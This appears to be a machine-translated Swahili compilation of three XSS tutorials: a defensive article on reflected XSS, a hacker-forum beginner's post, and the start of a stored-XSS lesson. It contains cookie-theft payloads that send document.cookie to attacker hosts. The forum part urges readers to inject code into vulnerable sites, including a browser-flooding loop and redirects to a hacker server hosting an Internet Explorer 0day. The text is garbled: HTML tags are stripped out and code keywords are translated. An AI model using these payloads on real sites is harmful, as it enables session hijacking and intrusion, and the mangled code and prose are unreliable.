Ory Segal

Jifunze jinsi wavamizi wanavyotumia mashambulio ya maandishi kwenye tovuti mbalimbali, wanachofanya (na wasichofanya) kuharibu, jinsi ya kuyatambua, na jinsi ya kulinda Tovuti yako na wanaoitembelea kutokana na ukiukaji huu mbaya wa faragha na usalama.

Uandishi wa tovuti mbalimbali (au XSS kwa ufupi) ni mojawapo ya mashambulizi ya kawaida ya kiwango cha programu ambayo wadukuzi hutumia kuathiri programu za Wavuti. XSS ni shambulio dhidi ya faragha ya wateja wa tovuti fulani. Inaweza kusababisha uharibifu kamili wa mfumo wa usalama wakati data ya mteja inaibiwa na kutumika katika siku zijazo kwa madhumuni fulani. Mashambulizi mengi yanahusisha pande mbili: ama mshambuliaji na Tovuti, au mshambuliaji na mteja wa mwathirika. Walakini, shambulio la XSS linahusisha pande tatu: mshambuliaji, mteja, na Tovuti.

Madhumuni ya shambulio la XSS ni kuiba vidakuzi au vidakuzi vingine kutoka kwa kompyuta ya mteja. habari za siri, ambayo inaweza kutambua mteja kwenye tovuti. Akiwa na taarifa ya kumtambulisha kama mtumiaji halali, mshambulizi anaweza kutenda kwenye tovuti kama mtumiaji kama huyo, i.e. kujifanya yeye. Kwa mfano, wakati wa ukaguzi mmoja uliofanywa katika kampuni kubwa, iliwezekana kupata habari binafsi mtumiaji na nambari yake kadi ya mkopo. Hili lilipatikana kwa kukimbia kanuni maalum katika JavaScript. Nambari hii ilitekelezwa katika kivinjari cha mhasiriwa (mteja), ambaye alikuwa na haki za kufikia Wavuti. Kuna idadi ndogo sana ya haki za JavaScript ambazo hazipei hati ufikiaji wa kitu chochote isipokuwa maelezo mahususi ya tovuti. Ni muhimu kusisitiza kwamba ingawa udhaifu upo kwenye Tovuti, Tovuti yenyewe haijaharibiwa moja kwa moja. Lakini hii inatosha kwa hati kukusanya vidakuzi na kuzituma kwa mshambulizi. Matokeo yake, mshambuliaji hupokea data muhimu na anaweza kuiga mwathirika.

Hebu tutaje tovuti iliyoshambuliwa kama ifuatavyo: www.vulnerable.site. Shambulio la jadi la XSS linategemea hati iliyo hatarini ambayo iko kwenye tovuti iliyo hatarini. Hati hii inasoma sehemu ya ombi la HTTP (kawaida vigezo, lakini wakati mwingine pia vichwa vya HTTP au njia) na kuirudia kwa ukurasa wa majibu, yote au sehemu tu. Hii haisafishi ombi (yaani, haiangalii kuwa ombi halina msimbo wa JavaScript au lebo za HTML). Wacha tuseme hati hii inaitwa welcome.cgi na parameta yake ni jina. Inaweza kutumika kama hii:

Hii inawezaje kutumiwa vibaya? Mshambulizi lazima awe na uwezo wa kumvutia mteja (mwathirika) kubofya kiungo ambacho mshambuliaji anampa. Hiki ni kiungo kilichoundwa kwa uangalifu na hasidi ambacho husababisha kivinjari cha Wavuti cha mwathiriwa kufikia tovuti (www.vulnerable.site) na kutekeleza hati iliyo hatarini. Data ya hati hii ina msimbo wa JavaScript ambao hufikia vidakuzi vilivyohifadhiwa na kivinjari cha mteja kwa tovuti www.vulnerable.site. Hii inaruhusiwa kwa sababu kivinjari cha mteja "kinadhani" msimbo wa JavaScript unatoka kwa www.vulnerable.site. Mfano Usalama wa JavaScript Huruhusu hati zinazotoka kwa tovuti maalum kufikia vidakuzi ambavyo ni vya tovuti hiyo.

Majibu kutoka kwa tovuti hatarishi yatakuwa kama ifuatavyo:

Karibu! Arifa ya habari(document.cookie) Karibu kwenye mfumo wetu...

Kivinjari cha mteja aliyeathiriwa hufasiri ombi hili kama ukurasa wa HTML ulio na kipande cha msimbo wa JavaScript. Msimbo huu, utakapotekelezwa, utakuwa na ufikiaji wa vidakuzi vyote vya tovuti www.vulnerable.site. Kwa hivyo, itasababisha dirisha ibukizi katika kivinjari kuonyesha vidakuzi vyote vya mteja vinavyohusiana na www.vulnerable.site.

Hakika, shambulio la kweli itahusisha kutuma faili hizi kwa mshambulizi. Ili kufanya hivyo, mshambulizi anaweza kuunda Tovuti (www.attacker.site) na kutumia hati kupokea vidakuzi. Badala ya kuita dirisha ibukizi, mshambuliaji angeandika msimbo unaofikia URL kwa www.attacker.site. Katika suala hili, hati inatekelezwa ili kupata vidakuzi. Kigezo cha hati hii ni vidakuzi vilivyoibiwa. Kwa hivyo, mshambulizi anaweza kupata vidakuzi kutoka kwa seva ya www.attacker.site.

Mara tu baada ya kupakia ukurasa huu, kivinjari kitatekeleza msimbo wa JavaScript uliowekwa hapo na kupeleka ombi kwa hati ya collect.cgi kwenye www.attacker.site pamoja na thamani ya vidakuzi kutoka www.vulnerable.site ambayo kivinjari tayari inayo. Hii inadhoofisha usalama wa vidakuzi vya tovuti vya www.vulnerable.site ambavyo mteja anazo. Hii inaruhusu mshambuliaji kujifanya kuwa mwathirika. Usiri wa mteja umekiukwa kabisa.

Kumbuka.
Kwa kawaida huita dirisha ibukizi na kwa kutumia JavaScript inatosha kuonyesha uwezekano wa tovuti kwa shambulio la XSS. Ikiwa unaweza kupiga simu kutoka kwa JavaScript Kitendaji cha tahadhari, basi kwa kawaida hakuna sababu kwa nini simu inaweza kushindwa. Hii ndiyo sababu mifano mingi ya mashambulizi ya XSS hutumia kazi ya Arifa, ambayo inafanya kuwa rahisi sana kuamua mafanikio ya shambulio hilo.

Shambulio linaweza kutokea tu kwenye kivinjari cha mwathiriwa, kile kile kinachotumiwa kufikia tovuti (www.vulnerable.site). Mshambulizi lazima amlazimishe mteja kupata ufikiaji kiungo hasidi. Hii inaweza kupatikana kwa njia kadhaa.

• Mshambulizi anatuma barua pepe ujumbe ulio na ukurasa wa HTML unaosababisha kivinjari kufungua kiungo. Hii inahitaji mwathirika kutumia mteja wa barua pepe anayeweza kushughulikia HTML. Na kitazamaji cha HTML kwenye mteja lazima kiwe kivinjari kile kile kinachotumiwa kufikia www.vulnerable.site.

• Mteja hutembelea tovuti, ikiwezekana iliyoundwa na mshambulizi, ambayo kiungo cha picha au nyingine kipengele amilifu HTML hulazimisha kivinjari kufungua kiungo. Tena, katika kesi hii, ni muhimu kwamba kivinjari sawa kitatumika kufikia tovuti hii na tovuti www.vulnerable.site.

Msimbo hasidi wa JavaScript unaweza kufikia taarifa yoyote kati ya zifuatazo:

• vidakuzi vinavyoendelea (ya tovuti www.vulnerable.site), ambayo huhifadhiwa na kivinjari;
• vidakuzi ndani kumbukumbu ya ufikiaji bila mpangilio(tovuti www.vulnerable.site), ambayo inaauniwa na mfano wa kivinjari wakati tu wa kutazama tovuti www.vulnerable.site;
• majina ya madirisha mengine hufunguliwa kwa tovuti www.vulnerable.site.
• habari yoyote inayopatikana kupitia mkondo wa sasa Mfano wa DOM(kutoka kwa maadili, nambari ya HTML, n.k.).

Kitambulisho, uidhinishaji na data ya uthibitishaji kwa kawaida huhifadhiwa katika mfumo wa vidakuzi. Ikiwa faili hizi vidakuzi vya kudumu, basi mwathirika anaweza kushambuliwa hata wakati hatumii kivinjari wakati wa kufikia tovuti www.vulnerable.site. Walakini, ikiwa vidakuzi ni vya muda (kwa mfano, vimehifadhiwa kwenye RAM), basi kwa upande wa mteja lazima kuwe na kikao na tovuti www.vulnerable.site.

Utekelezaji mwingine unaowezekana wa lebo ya kitambulisho ni kigezo cha URL. Katika hali kama hizi, unaweza kufikia windows zingine kwa kutumia JavaScript kama ifuatavyo (kuchukua jina la ukurasa na vigezo muhimu URL - foobar):

var victim_window=fungua(","foobar");tahadhari("Inaweza kufikia: " +victim_window.location.search)

Ili kuendesha hati ya JavaScript, unaweza kutumia tagi nyingi za HTML isipokuwa . Kwa kweli, kanuni hasidi JavaScript pia inaweza kupangishwa kwenye seva nyingine na kisha kumfanya mteja apakue hati na kuitekeleza. Hii inaweza kuwa muhimu ikiwa unahitaji kuendesha idadi kubwa ya nambari, au ikiwa nambari ina herufi maalum.

Hapa kuna tofauti kadhaa za uwezekano huu.

• Badala ya... wadukuzi wanaweza kutumia . Hii inafaa kwa tovuti zinazochuja lebo ya HTML.

• Badala ya ... unaweza kutumia ujenzi. Hii ni nzuri katika hali ambapo msimbo wa JavaScript ni mrefu sana, au ikiwa una herufi zisizo halali.

Wakati mwingine data iliyopachikwa katika ukurasa wa majibu huwa katika muktadha wa kulipia wa HTML. Katika kesi hii, kwanza unahitaji "kutoroka" kwa muktadha wa bure, na kisha ufanye shambulio la XSS. Kwa mfano, ikiwa data imeingizwa kama thamani chaguo-msingi ya uga wa fomu ya HTML:

Na nambari inayotokana ya HTML itakuwa kama ifuatavyo:

dirisha.wazi ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)"> Kufikia sasa tumeona kuwa shambulio la XSS linaweza kutokea katika kigezo cha ombi la GET ambacho hati hujibu. Lakini pia unaweza kufanya shambulio kwa kutumia ombi la POST, au kutumia sehemu ya njia Ombi la HTTP, na hata kutumia vichwa vya HTTP (kama Referer). Hasa, sehemu ya njia ni muhimu wakati ukurasa wa makosa unarudisha njia batili. Katika kesi hii, ikiwa ni pamoja na hati mbaya katika njia mara nyingi itasababisha kutekelezwa. Seva nyingi za Wavuti ziko hatarini kwa shambulio hili. Ni muhimu kuelewa kwamba ingawa tovuti haijaathiriwa moja kwa moja na shambulio hili (inaendelea kufanya kazi kama kawaida, hakuna msimbo hasidi unaotekelezwa juu yake, Shambulio la DoS haifanyiki, na data kutoka kwa tovuti haijasomwa moja kwa moja au kuchezewa), hii bado ni ukiukaji katika mfumo wa usalama ambao tovuti hutoa kwa wateja wake au wageni. Hii ni sawa na tovuti inayotumika kupeleka programu iliyo na lebo dhaifu za usalama. Kwa sababu hii, mshambuliaji anaweza kukisia lebo ya usalama ya mteja na kujifanya yeye (au yeye). Sehemu dhaifu katika programu ni hati, ambayo inarudisha kigezo chake bila kujali thamani yake. Hati nzuri inapaswa kuhakikisha kuwa parameta umbizo sahihi kwamba ina wahusika wanaokubalika, nk. Kwa kawaida hakuna sababu parameter sahihi ilikuwa na lebo za HTML au msimbo wa JavaScript. Lazima ziondolewe kwenye kigezo kabla ya kudungwa kwenye jibu au kutumika katika programu. Hii itahakikisha usalama. Kuna njia tatu za kulinda tovuti yako dhidi ya mashambulizi ya XSS. Kwa kufanya uchujaji wako wa data ya ingizo (wakati mwingine huitwa usafishaji wa pembejeo). Kwa kila ingizo la mtumiaji (iwe kigezo au kichwa cha HTML), kila hati inayojiandikisha inapaswa kutumia uchujaji wa hali ya juu dhidi ya lebo za HTML, ikijumuisha msimbo wa JavaScript. Kwa mfano, hati ya welcome.cgi kutoka kwa mfano uliopita inapaswa kuchuja lebo baada ya kusimbua kigezo cha jina. Njia hii ina hasara kadhaa kubwa. Inahitaji programu ya programu maarifa mazuri teknolojia za usalama. Inahitaji programu kufunika yote vyanzo vinavyowezekana data ya pembejeo (vigezo vya hoja, vigezo vya mwili POST maombi, vichwa vya HTTP). Haiwezi kulinda dhidi ya udhaifu katika hati au seva za watu wengine. Kwa mfano, haitalinda dhidi ya matatizo katika kurasa za makosa kwenye seva za Wavuti (ambazo zinaonyesha njia ya chanzo). Kufanya "kuchuja pato", i.e. kuchuja data ya mtumiaji inaporejeshwa kwa kivinjari, si wakati hati inapoipokea. Mfano mzuri Njia hii inaweza kuwa hati inayoingiza data kwenye hifadhidata na kuionyesha. Katika kesi hii, ni muhimu kutumia chujio si kwa kamba ya pembejeo ya awali, lakini tu kwa toleo la pato. Hasara za njia hii ni sawa na zile za kuchuja pembejeo. Kufunga firewall ya programu ya mtu wa tatu (firewall). Skrini hii hukatiza mashambulizi ya XSS kabla ya kufikia seva ya Wavuti na hati zilizo katika mazingira magumu na kuzizuia. Ngome za programu zinaweza kufunika mbinu zote za uingizaji kwa kufanya kazi nazo kwa njia ya jumla(ikiwa ni pamoja na njia na vichwa vya HTTP), bila kujali hati au njia kutoka kwa programu asilia, hati ya watu wengine, au hati ambayo haielezi nyenzo zozote (kwa mfano, inayokusudiwa kuanzisha ukurasa wa majibu 404 kutoka kwa seva). Kwa kila chanzo cha ingizo, ngome ya programu hukagua data kwa mifumo mbalimbali ya lebo za HTML na JavaScript code. Ikiwa kuna mechi zozote, ombi limezuiwa na data hasidi haifikii seva. Hitimisho la kimantiki la kulinda tovuti ni kuangalia usalama wake dhidi ya mashambulizi ya XSS. Kama vile kulinda tovuti dhidi ya XSS, kuangalia kiwango cha ulinzi kunaweza kufanywa wewe mwenyewe (njia ngumu), au kutumia zana ya kiotomatiki kutathmini uwezekano wa kuathiriwa na programu za Wavuti. Chombo hiki kitachukua mzigo wa uthibitishaji kutoka kwa mabega yako. Mpango huu huzunguka tovuti na huendesha chaguo zote inazojua kwa hati zote zinazotambua. Hii inajaribu vigezo vyote, vichwa na njia. Katika njia zote mbili, kila ingizo kwenye programu (vigezo vya hati zote, vichwa vya HTTP, njia) huangaliwa na chaguo nyingi iwezekanavyo. Na ikiwa ukurasa wa majibu una msimbo wa JavaScript katika muktadha ambapo kivinjari kinaweza kuutekeleza, basi ujumbe wa uwezekano wa XSS unaonekana. Kwa mfano, wakati wa kutuma maandishi yafuatayo: tahadhari(document.cookie) Kwa kila kigezo cha kila hati (kupitia kivinjari chenye uwezo wa JavaScript ili kugundua aina rahisi zaidi ya uwezekano wa kuathiriwa na XSS), kivinjari kitaongeza dirisha la Arifa ya JavaScript ikiwa maandishi yatafasiriwa kama msimbo wa JavaScript. Bila shaka, kuna chaguzi kadhaa. Kwa hiyo, kupima chaguo hili pekee haitoshi. Na, kama umejifunza tayari, unaweza kuingiza msimbo wa JavaScript katika nyanja mbalimbali za ombi: vigezo, vichwa vya HTTP, na njia. Hata hivyo, katika baadhi ya matukio (hasa kwa kichwa cha HTTP Referer), ni vigumu kufanya mashambulizi kwa kutumia kivinjari. Uandishi wa tovuti mbalimbali ni mojawapo ya mashambulizi ya kawaida ya kiwango cha programu ambayo wadukuzi hutumia kuathiri programu za Wavuti. Pia ni hatari zaidi. Hili ni shambulio dhidi ya faragha ya wateja wa Tovuti fulani. Inaweza kusababisha uharibifu kamili wa mfumo wa usalama wakati data ya mteja inaibiwa na kutumika katika siku zijazo kwa madhumuni fulani. Kwa bahati mbaya, kama kifungu hiki kinavyoelezea, hii mara nyingi hufanywa bila kujua mteja au shirika linashambuliwa. Ili kuzuia Tovuti zisiwe hatarini kwa shughuli hizi hasidi, ni muhimu kwamba shirika litekeleze mkakati wa usalama wa mtandaoni na nje ya mtandao. Hii ni pamoja na kikagua kuathirika kiotomatiki ambacho kinaweza kupima udhaifu wote unaojulikana wa Tovuti na maombi fulani(kwa mfano, uandishi wa tovuti) kwenye tovuti. Kwa ulinzi kamili wa mtandaoni, ni muhimu pia kusakinisha ngome ambayo inaweza kutambua na kuzuia aina yoyote ya upotoshaji wa msimbo na data inayokaa ndani au nyuma ya seva za Wavuti.

• Kategoria: Haijagawanywa

,’,” na wengine wengi. Kwanza, thamani ya kutofautisha hupitishwa kutoka kwa ukurasa wa HTML uliopakiwa kwenye kivinjari...

XSS kwa Kompyuta. Madhumuni ya mashambulizi ya XSS

Salamu, Wageni wapendwa Lango! Jina langu ni DrWeb. Ninataka kukuambia kuhusu madhumuni ya mashambulizi ya XSS, kwa sababu udhaifu wa XSS unaleta tishio kubwa zaidi kuliko kuiba vidakuzi tu. Mambo ya kwanza kwanza...

Kwanza kuhusu XSS kwa ujumla. Kifupi XSS kinasimama kwa Cross Site Scripting. Ni kawaida kuiita XSS, na sio CSS, kwani CSS ilianzishwa mapema zaidi, na inamaanisha Laha za Mtindo wa Kuteleza - "shuka za mtindo wa kuteleza" (zinazotumika katika muundo wa kurasa za HTML). Сross ni "msalaba", kwa hivyo herufi ya kwanza katika "hati ya tovuti nzima" inabadilishwa na "X".

XSS ni hatari kwenye seva inayokuruhusu kupachika msimbo kiholela kwenye ukurasa wa HTML unaozalishwa na hati kwenye seva (sio kwenye hati, tofauti na PERL au ujumuishaji wa PHP) kwa kuipitisha kama thamani ya kigezo kisichochujwa. (TRINUX ilielezea aina hii ya shambulio vizuri katika makala: http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 na http://www.hackzona.ru/ hz.php?name=Habari&file=makala&sid=3490&mode=&order=0&thold=0). Tofauti "isiyochujwa" ni kigezo ambacho hakijaangaliwa kwa vibambo haramu kama vile ,'," na vingine vingi, kabla ya kutumiwa katika hati (kwa mfano, PHP). Kwanza, thamani ya kutofautisha huhamishwa kutoka ukurasa wa HTML uliopakiwa kwenye kivinjari cha mtumiaji hadi hati ya PHP (kupitia ombi la POST au GET). Ombi la POST hupitisha vigezo kupitia safu ambayo haijaonyeshwa upau wa anwani kivinjari; Ombi la GET linajionyesha kwenye upau wa anwani kama hii:

http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0

Kwa hivyo, hati ya hz.php itapewa vigezo vifuatavyo: $name - yenye thamani ya "Habari", $file - yenye thamani "makala", $sid - yenye thamani "3499" n.k... Kwa kawaida, ni ni rahisi zaidi kufanya kazi na maombi ya GET, kwa hivyo, mdukuzi huhifadhi ukurasa wa tovuti unaodukuliwa na katika mstari kama

POST inabadilisha na GET. Ifuatayo, hati ya PHP, kwa mfano, inazalisha ukurasa wa HTML ambao unaonyesha thamani ya mojawapo ya vigezo vilivyohamishwa bila kuchuja yoyote. LAKINI! Ikiwa mshambuliaji, wakati wa kuunda ombi la GET, atabadilisha tagi muhimu (kwa mfano, au ) badala ya thamani ya kawaida ya kutofautisha, basi zitatekelezwa na mkalimani!

Inatokea kwamba wahuni wengi wa kompyuta hutumia XSS tu kuiba vidakuzi (vidakuzi - katika hali nyingi huhifadhi kikao, baada ya kuidhibiti, mshambuliaji anaweza kuwa kwenye tovuti chini ya akaunti ya mtu mwingine, kwa mfano, kwenye jukwaa ambalo usajili unafanywa. Pia huhifadhi nenosiri lililosimbwa kwa njia fiche, likiondoa msimbo ambao, mnyanyasaji ataweza kuchukua akaunti kwa 100%). Lakini mende za XSS hazizuiliwi na wizi wa vidakuzi.

Kwa kweli, aya ya kilele :).

Udhaifu wa XSS unaturuhusu kufanya nini?

1) Aina zote za hila zinazohusiana na kuzuia watumiaji kutoka kwa shughuli za kawaida kwenye tovuti. Kwa mfano, kuonyesha idadi isiyo na kikomo ya madirisha (mfano hapa chini) au ujumbe (thibitisha au njia ya tahadhari), kama matokeo ya hatua fulani ya mtumiaji (kubonyeza, kuinua kipanya juu ya kitu, kutembelea tovuti tu). Au kuelekeza kwa nodi nyingine. Jaribu kuingiza msimbo huu (bila marekebisho) kwenye tovuti iliyo hatarini:

window.location.href=\»http://hackzona.ru\»

Pia, baada ya kujaribu kwenye kompyuta yako kwanza, jaribu hati ifuatayo. Unda faili 1.html na maudhui yafuatayo:

kwa (i=1;i]0;i++)(oren(\'1.html\',\'mpya\'+i);)

na uifungue kwenye kivinjari chochote.

2) Wizi wa taarifa za siri za mgeni. Kwanza kabisa, nitajumuisha wizi wa vidakuzi (document.cookie) kama sifa muhimu zaidi ya usalama wa mtumiaji (katika sehemu hii). Sehemu hii pia inajumuisha wizi wa habari kuhusu mfumo wa mtumiaji na kivinjari ( kitu cha navigator), wakati wa sasa, anwani ya IP, pamoja na historia ya tovuti zilizotembelewa (kitu cha historia kama safu; historia ya sasa ya ukurasa, historia ya awali[-1], historia ya jumla ya kurasa. urefu) na mengi zaidi. Hapa kuna mfano wa hati ambayo inarudisha anwani ya IP ya mgeni kwa utaftaji wa IP na jina la kompyuta kwa anuwai ya mwenyeji (iliyojaribiwa katika Opera, Mozilla, Mizilla Firefox):

myAddress=java.net.InetAddress.getLoсalHost();

myAddress2=java.net.InetAddress.getLoсalHost();

host=myAddress.getHostName();

ip=myAddress2.getHostAddress();

3) Kila kitu ambacho hati za CGI, PERL, PHP, ASP zinaweza kufanya. Na haya ndiyo yote ambayo JS inaweza kufanya + mambo mengi madogo mazuri. Hiyo ni, hii ni njia ya pili ya kuiba habari za siri. Ni rahisi zaidi, kwa sababu ... sio lazima upachike msimbo wote kwenye ukurasa wa HTML kwa njia ya kutofautiana muhimu, lakini kiungo tu kwa hati; Zaidi ya hayo, ruka hizi zina fursa zaidi. Upande wa chini ni kwamba hii ni kasoro zaidi (ikiwa inatumiwa bila busara) na njia ya immobile, haswa kwani mwathirika anaweza kugundua upakuaji usiohitajika. Kwa mfano, unatumia nambari ifuatayo kwenye ukurasa wa HTML:

window.location.href=\»http://hackzona.ru/haсkerssсriрt.php\»

Hapa hackzona.ru ni seva ya hacker, na haskerssсriрt.php ni hati ya hacker ambayo hufanya vitendo fulani. Baada ya kutembelea ukurasa uliodukuliwa, mwathirika anaelekezwa upya kwa hati http://hackzona.ru/haсkerssсriрt.php, ambayo itafanya kazi yake (ikiwa mwathirika hatakatiza upakuaji). Kwa kawaida, kuna njia chafu za kupakia hati kuliko window.location.href; Nimeileta ili tu kuiweka wazi.

4) Uwezo wa kivinjari ambao haujatolewa na kiwango. Kuna udhaifu mwingi wa kivinjari ambao, wakati wa kuchakata msimbo wowote, husababisha DoS au kutoa ufikiaji faili fulani, au kuruhusu msimbo kiholela kutekelezwa kwenye mfumo wa mtumiaji, au kitu kingine ambacho si cha kupendeza kwa mtumiaji. Vivinjari vingi vinavyojulikana na vinavyotumiwa mara kwa mara (Internet Explorer, Netcare, Mozilla, Mozilla Firefox, Opera na kila kitu kilichoundwa kwenye injini zao) ni hatari. Ni baadhi tu ya matoleo yao au vivinjari vilivyo na viraka ambavyo vinaweza kuathiriwa. Hivi majuzi (wakati wa kuandika), Benjamin Tobias Franz aligundua udhaifu mkubwa katika kivinjari cha Internet Explorer (v5.5, 6.0), ambayo inaruhusu msimbo kiholela kutekelezwa kwenye mfumo wa mtumiaji. Unawezaje kutekeleza msimbo kiholela kwa mtumiaji ambaye ametembelea tovuti ambayo ina hatari ya XSS? Wacha tupakie unyonyaji ulioandikwa na Stuart Person (unaweza kuipata kutoka hapa: myphp4.h15.ru/0day-explorer.rar au kutoka kwa tovuti securitylab.ru), inayojumuisha htm nne na faili moja ya html, kwa seva yetu, kwa mfano, coolhacker yo. Tutatekeleza msimbo ufuatao katika tovuti yenye mazingira magumu

window.location.href=\"http://coolhaсker.yo/0day.html\"

Sasa, mwathirika, akiwa ametembelea ukurasa wa seva ambayo tumepachika msimbo, anaelekezwa kwa ukurasa wa unyonyaji http://coolhaсker.yo/0day.html, ambao utatoa nambari ya kiholela (kwa upande wetu, itazindua calc. .exe).

Na ni mafunzo ya kina juu ya uandishi wa tovuti tofauti.

Sehemu ya Kwanza: Muhtasari XSS ni nini?

uandishi wa tovuti mbalimbali ( Kiingereza Uandishi wa tovuti tofauti) ni shambulio la sindano ya msimbo ambalo huruhusu mshambulizi kutekeleza JavaScript hasidi kwenye kivinjari cha mtumiaji mwingine.

Mshambulizi hashambulii mwathirika wake moja kwa moja. Badala yake, hutumia athari katika tovuti ambayo mwathirika anatembelea na kuingiza msimbo hasidi wa JavaScript. Katika kivinjari cha mwathirika, JavaScript hasidi inaonekana kama sehemu halali ya tovuti, na tovuti yenyewe hufanya kama mshirika wa moja kwa moja kwa mshambulizi.

Uingizaji wa msimbo hasidi wa JavaScript

Njia pekee ya mshambulizi kutumia JavaScript hasidi katika kivinjari cha mwathiriwa ni kuiingiza kwenye mojawapo ya kurasa ambazo mwathiriwa hupakia kutoka kwa tovuti. Hili linawezekana ikiwa tovuti inaruhusu watumiaji kuingiza data kwenye kurasa zake, na mshambulizi anaweza kuingiza mfuatano ambao utatambuliwa kama sehemu ya msimbo katika kivinjari cha mwathiriwa.

Mfano hapa chini unaonyesha hati rahisi ya upande wa seva ambayo hutumiwa kuonyesha maoni ya hivi karibuni kwenye tovuti:

chapisha ""
chapisha "Maoni ya mwisho:"
chapisha hifadhidata.karibuniMaoni
chapisha ""

Hati huchukulia kuwa maoni yana maandishi pekee. Hata hivyo, kwa kuwa ingizo la mtumiaji moja kwa moja limewezeshwa, mshambulizi anaweza kuacha maoni haya: "...". Mtumiaji yeyote anayetembelea ukurasa sasa atapokea jibu lifuatalo:

Maoni ya mwisho:
...

Wakati kivinjari cha mtumiaji kinapakia ukurasa, kitatekeleza kila kitu, pamoja na msimbo wa JavaScript ulio ndani ya . Mshambulizi alifanikiwa kutekeleza shambulio hilo.

JavaScript hasidi ni nini?

Fursa Utekelezaji wa JavaScript inaweza isionekane hasidi haswa katika kivinjari cha mwathiriwa. JavaScript inaendeshwa katika mazingira yenye vikwazo sana ambayo ina ufikiaji mdogo sana wa faili za mtumiaji na mfumo wa uendeshaji. Kwa kweli, unaweza kufungua JavaScript console kwenye kivinjari chako sasa hivi na utekeleze JavaScript yoyote unayotaka, na hakuna uwezekano mkubwa kwamba utaweza kusababisha madhara yoyote kwenye kompyuta yako.

Hata hivyo, uwezekano wa msimbo wa JavaScript kufanya kazi kama msimbo hasidi unakuwa wazi unapozingatia mambo yafuatayo:

• JavaScript inaweza kufikia baadhi ya taarifa nyeti za mtumiaji, kama vile vidakuzi.
• JavaScript inaweza kutuma maombi ya HTTP yenye maudhui ya kiholela katika mwelekeo wowote kwa kutumia XMLHttpRequest na mifumo mingine.
• JavaScript inaweza kufanya mabadiliko kiholela kwa msimbo wa HTML wa ukurasa wa sasa kwa kutumia mbinu za upotoshaji za DOM.

Ikiwa pamoja, ukweli huu unaweza kusababisha ukiukaji mkubwa sana wa usalama, maelezo ya kufuata.

Madhara ya msimbo hasidi wa JavaScript

Zaidi ya hayo, uwezo wa kutekeleza JavaScript kiholela katika kivinjari cha mtumiaji mwingine huruhusu mshambulizi kufanya hivyo aina zifuatazo mashambulizi:

Wizi wa kuki

mshambulizi anaweza kufikia vidakuzi vinavyohusiana na tovuti ya mwathiriwa kwa kutumia document.cookie , kuzituma kwake seva mwenyewe na uzitumie kutoa maelezo nyeti kama vile vitambulisho vya kipindi.

Keylogger

Mshambulizi anaweza kusajili msikilizaji wa tukio la kibodi kwa kutumia addEventListener na kisha kutuma vibonye vyote vya mtumiaji kwenye seva yake, uwezekano wa kurekodi taarifa nyeti kama vile nenosiri na nambari za kadi ya mkopo.

Hadaa

mshambulizi anaweza kuingiza fomu bandia ya kuingia kwenye ukurasa kwa kutumia upotoshaji wa DOM, kuweka sifa za kitendo cha fomu kwenye seva yake, na kisha kumdanganya mtumiaji kupata taarifa nyeti.

Ingawa mashambulizi haya yanatofautiana sana, yote yana mfanano mmoja muhimu: kwa kuwa mshambuliaji anaingiza msimbo kwenye ukurasa unaohudumiwa na tovuti, JavaScript hasidi inatekelezwa katika muktadha wa tovuti hiyo. Hii ina maana kwamba inachukuliwa kama hati nyingine yoyote kutoka kwa tovuti hiyo: ina uwezo wa kufikia data ya mwathiriwa ya tovuti hiyo (kama vile vidakuzi) na jina la mwenyeji linaloonyeshwa Mfuatano wa URL itakuwa sawa na tovuti. Kwa madhumuni yote, hati inachukuliwa kuwa sehemu ya kisheria ya tovuti, na kuiruhusu kufanya chochote ambacho tovuti yenyewe inaweza kufanya.

Ukweli huu unaangazia suala kuu:

Iwapo mshambulizi anaweza kutumia tovuti yako kutekeleza msimbo wa JavaScript katika vivinjari vya watumiaji wengine, usalama wa tovuti yako na watumiaji wake huathiriwa.

Ili kusisitiza jambo hili, baadhi ya mifano ya hati hasidi katika somo hili itaachwa bila maelezo, kwa kutumia.... Hii inapendekeza kuwa uwepo wa hati inayodungwa na mshambulizi ni shida, bila kujali ni msimbo gani wa hati maalum unatekelezwa.

Sehemu ya pili: Shambulio la XSS Washiriki katika shambulio la XSS

Kabla ya kuelezea kwa undani jinsi shambulio la XSS linavyofanya kazi, tunahitaji kutambua wahusika waliohusika katika shambulio la XSS. Kwa ujumla, kuna pande tatu za shambulio la XSS: tovuti, mwathirika, na mshambuliaji.

• Tovuti hutoa kurasa za HTML kwa watumiaji wanaoziomba. Katika mifano yetu iko katika http://tovuti/.
  • Hifadhidata ya tovuti ni hifadhidata inayohifadhi baadhi ya data iliyoingizwa na watumiaji kwenye kurasa za tovuti.
• Mhasiriwa ni mtumiaji wa kawaida tovuti inayoomba kurasa kutoka kwayo kwa kutumia kivinjari chake.
• Mshambulizi ni mvamizi anayenuia kushambulia mwathiriwa kwa kutumia hatari ya XSS kwenye tovuti.
  • Seva ya mshambulizi ni seva ya wavuti inayodhibitiwa na mvamizi kwa madhumuni ya pekee ya kuiba maelezo ya siri ya mwathiriwa. Katika mifano yetu, iko katika http://attacker/.

Mfano wa tukio la shambulio

window.location="http://mshambulizi/?cookie="+document.cookie

Hati hii itaunda ombi la HTTP kwa URL nyingine, ambayo itaelekeza upya kivinjari cha mtumiaji hadi seva ya mvamizi. URL inajumuisha vidakuzi vya mwathiriwa kama kigezo cha ombi, ombi la HTTP linapokuja kwa seva ya mshambulizi, mshambulizi anaweza kutoa vidakuzi hivi kutoka kwa ombi. Mshambulizi akishapokea vidakuzi, anaweza kuvitumia kuiga mwathiriwa na kuzindua shambulio linalofuata.

Kuanzia sasa na kuendelea, msimbo wa HTML ulioonyeshwa hapo juu utaitwa mfuatano hasidi au hati hasidi. Ni muhimu kuelewa kwamba mfuatano wenyewe ni hasidi ikiwa hatimaye utatolewa kama HTML kwenye kivinjari cha mwathiriwa, na hii inaweza tu kutokea ikiwa kuna uwezekano wa kuathiriwa na XSS kwenye tovuti.

Jinsi shambulio hili la mfano linavyofanya kazi

Mchoro hapa chini unaonyesha mfano wa shambulio la mshambuliaji:

Mshambulizi hutumia mojawapo ya fomu za tovuti kuingiza mfuatano hasidi kwenye hifadhidata ya tovuti.

Mhasiriwa huomba ukurasa kutoka kwa wavuti.

Tovuti inajumuisha kamba ya hifadhidata hasidi katika jibu na kuituma kwa mwathirika.

Kivinjari cha mwathiriwa hutekeleza hati hasidi ndani ya jibu, na kutuma kidakuzi cha mwathiriwa kwa seva ya mshambulizi.

Aina za XSS

